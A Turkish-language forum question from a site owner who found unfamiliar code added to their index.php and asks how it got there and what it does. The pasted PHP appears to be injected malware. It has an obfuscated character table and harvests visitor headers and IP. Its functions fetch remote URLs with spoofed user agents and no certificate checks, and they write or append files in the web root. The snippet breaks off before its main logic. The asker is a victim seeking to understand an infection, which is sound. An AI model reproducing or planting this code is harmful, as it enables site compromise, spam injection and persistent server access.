Merhaba, index.php dosyama nereden eklendiyse bu kodlar eklenmiş, acaba nasıl olmuş ve ne ifade ediyor?

<?php
error_reporting(0);header('Content-Type: text/html; charset=utf-8');$OoooOO0 = '9274s3';$OOOOOO="%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c";$O=urldecode($OOOOOO);date_default_timezone_set('Asia/Tokyo');
$dRoot = @$_SERVER['DOCUMENT_ROOT'];
$rUrl = @$_SERVER['REQUEST_URI'];
$curName = @basename(__FILE__);
$sName = @$_SERVER['HTTP_HOST'];
$Ooolg = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
$uAgent = @$_SERVER['HTTP_USER_AGENT'];
$referer = @$_SERVER['HTTP_REFERER'];
$http_type = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) ? 'https://' : 'http://';
$typeName = $http_type . $sName;
$uAgent = @strtolower($uAgent);
$referer = @strtolower($referer);
if(getenv('HTTP_CLIENT_IP')){
$client_ip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
$client_ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR')) {
$client_ip = getenv('REMOTE_ADDR');
} else {
$client_ip = $_SERVER['REMOTE_ADDR'];
}

$pageStr = explode('?',$rUrl);
$sdName = $pageStr[0];
$existF = false;
if (file_exists($dRoot.$sdName)) {
$existF = true;
}


function getCurl($O,$gurl)
{
$file_contents = '';
$agentarry=array(
"safari 5.1 – MAC"=>"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
"safari 5.1 – Windows"=>"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
"Firefox 38esr"=>"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0",
"IE 11"=>"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; rv:11.0) like Gecko",
"IE 9.0"=>"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0",
"IE 8.0"=>"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)",
"IE 7.0"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)",
"Firefox 4.0.1 – MAC"=>"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
"Firefox 4.0.1 – Windows"=>"Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
"Opera 11.11 – MAC"=>"Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; en) Presto/2.8.131 Version/11.11",
"Opera 11.11 – Windows"=>"Opera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.11",
"Chrome 17.0 – MAC"=>"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",
"Avant"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser)",
"Green Browser"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)",
"safari iOS 4.33 – iPhone"=>"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5",
"safari iOS 4.33 – iPod Touch"=>"Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5",
"safari iOS 4.33 – iPad"=>"Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5",
"Android N1"=>"Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
"Android Opera Mobile"=>"Opera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10",
"Android Pad Moto Xoom"=>"Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13",
"BlackBerry"=>"Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.337 Mobile Safari/534.1+",
"WebOS HP Touchpad"=>"Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.0; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/233.70 Safari/534.6 TouchPad/1.0",
"UCOpenwave"=>"Openwave/ UCWEB7.0.2.37/28/999",
"UC Opera"=>"Mozilla/4.0 (compatible; MSIE 6.0; ) Opera/UCWEB7.0.2.37/28/999",
);
$user_agent=$agentarry[array_rand($agentarry,1)];
if(function_exists('curl_init')){
try
{
$ch = curl_init();
$timeout = 30;
curl_setopt($ch,CURLOPT_URL,$gurl);
curl_setopt($ch,CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$file_contents = curl_exec($ch);
curl_close($ch);
}
catch (Exception $e)
{}
}
if(strlen($file_contents)<1&&function_exists('file_get_contents')){
ini_set('user_agent',$user_agent);
try
{
$file_contents = @file_get_contents($gurl);
}
catch (Exception $e)
{}
}
return $file_contents;
}
function putFile($O,$htName, $htContents, $app='') {
if ($app) {
$handle = fopen(@$_SERVER['DOCUMENT_ROOT'].'/'.$htName, 'a') or die('0');
}else{
$handle = fopen(@$_SERVER['DOCUMENT_ROOT'].'/'.$htName, 'w') or die('0');
}
$result = fwrite($handle, $htContents);
fclose($handle);
return $result;
}